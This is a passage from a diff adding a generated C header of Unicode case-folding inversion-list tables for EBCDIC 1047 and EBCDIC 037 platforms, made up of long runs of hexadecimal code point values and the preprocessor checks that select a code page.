+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x587,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9A,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F80,
+	0x1FB0,
+	0x1FB2,
+	0x1FB5,
+	0x1FB7,
+	0x1FBD,
+	0x1FC2,
+	0x1FC5,
+	0x1FC7,
+	0x1FCD,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF7,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWCF_invlist[] = { /* for EBCDIC 037 */
+	1223,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x59,
+	0x5A,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x345,
+	0x346,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D2,
+	0x3D5,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F2,
+	0x3F4,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x587,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9A,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F80,
+	0x1FB0,
+	0x1FB2,
+	0x1FB5,
+	0x1FB7,
+	0x1FBD,
+	0x1FC2,
+	0x1FC5,
+	0x1FC7,
+	0x1FCD,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF7,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
